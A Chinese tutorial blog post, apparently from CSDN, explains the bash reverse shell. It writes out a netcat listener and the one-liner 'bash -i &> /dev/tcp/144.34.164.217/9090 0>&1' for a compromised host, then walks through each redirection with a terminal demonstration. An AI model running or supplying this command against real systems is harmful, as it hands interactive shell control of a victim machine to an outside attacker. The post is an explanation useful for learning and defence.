彻底理解bash反弹shell

友链

关注微信公众号回复关键字【资料】获取各种学习资料

在这里插入图片描述

bash反弹:首先公网主机监听指定端口,然后肉鸡执行bash命令向公网指定端口发送连接请求

公网主机:
	nc -lvvp 9090
肉鸡执行:
	bash -i &> /dev/tcp/144.34.164.217/9090 0>&1
		其中144.34.164.217为自己的公网主机

对命令的解释:

bash -i意为创建一个交互式的bash shell
&>意为将标准输出和标准错误都重定向到我们指定的文件中

实验如下:

x@DESKTOP-GR9LS16:~$ cat 1
cat: 1: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 2
cat: 2: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 1 > 2
cat: 1: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 1 &> 2
x@DESKTOP-GR9LS16:~$ cat 2
cat: 1: No such file or directory

x@DESKTOP-GR9LS16:~$ cat 1
I get some words here!!
x@DESKTOP-GR9LS16:~$ cat 2
cat: 2: No such file or directory
x@DESKTOP-GR9LS16:~$ cat 1 &> 2
x@DESKTOP-GR9LS16:~$ cat 2
I get some words here!!

可以看到标准错误和标准输出都被重定向到了文件2

至于后面的/dev/tcp/144.34.164.217/9090,这是一个特殊文件,它会建立一个连接到到144.34.164.217:9090的socket

最后一个0>&1,意为将文件描述符0重定向到文件描述符1,也就是标准输入被重定向到了标准输出

我们来分析一下,首先&>使得标准输出重定向到了我们的TCP连接上,然后0>&1使得标准输入又重定向到了标准输出中,最终的结果就是标准输入也被重定向到了TCP连接中,因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互

为加深理解,我们来看一下不加0>&1的效果:

在这里插入图片描述

可以看到,标准输出通过tcp连接到了公网主机上,因为标准输入在肉鸡上,所以命令只能在肉鸡终端上才能执行,当然这样的shell是没有任何意义的

  • 5
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值